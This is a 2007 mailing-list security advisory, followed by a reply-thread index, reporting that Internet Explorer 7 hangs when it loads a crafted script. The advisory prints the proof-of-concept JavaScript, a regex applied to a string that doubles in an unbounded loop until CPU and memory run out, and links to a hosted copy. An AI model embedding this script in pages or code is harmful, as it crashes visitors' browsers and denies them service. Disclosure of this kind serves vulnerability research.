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Internet Explorer Crash
From: "J. Oquendo" <sil () infiltrated net>
Date: Tue, 17 Apr 2007 13:09:13 -0400
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Product: Internet Explorer Version 7.0.5730.11 Impact: Browser crash possibly more Author: Jesus Oquendo echo @infiltrated|sed 's/^/sil/g;s/$/.net/g' I. BACKGROUND Why bother? Who doesn't know what Internet Explorer and Microsoft are. II. DESCRIPTION IE 7 is vulnerable to a script which causes the browser to hang. The memory and CPU usage go through the roof. Originally the script caused (and still causes) Safari and Konqueror to crash. III SOLUTION Stop using Microsoft products or deal with a new advisory every other day. IV. Proof http://www.infiltrated.net/stupidInternetExploder.html V. Code $ more /stupidInternetExploder.html <script> var reg = /(.)*/; var z = 'Z';while (z.length <= 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) z+=z; var boum = reg.exec(z); </script> Goodbye J. Oquendo http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743sil . infiltrated @ net http://www.infiltrated.net
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Current thread:
- Internet Explorer Crash J. Oquendo (Apr 17)
- Re: Internet Explorer Crash The Anarcat (Apr 17)
- Re: Internet Explorer Crash Mike Ely (Apr 18)
- Re: Internet Explorer Crash simone colombo (Apr 19)
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- Re: Internet Explorer Crash Thor (Hammer of God) (Apr 17)
- Re: Internet Explorer Crash Tom Gregory (Apr 18)
- Re: Internet Explorer Crash Rob Bartlett (Apr 18)
- Re: Internet Explorer Crash Kevin Finisterre (lists) (Apr 19)
- Re: Internet Explorer Crash Dave Walker (Apr 19)
- Re: Internet Explorer Crash C. Bergström (Apr 19)
- Re: Internet Explorer Crash Tom Gregory (Apr 18)
- Re: Internet Explorer Crash The Anarcat (Apr 17)
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- Re: Internet Explorer Crash Thor (Hammer of God) (Apr 18)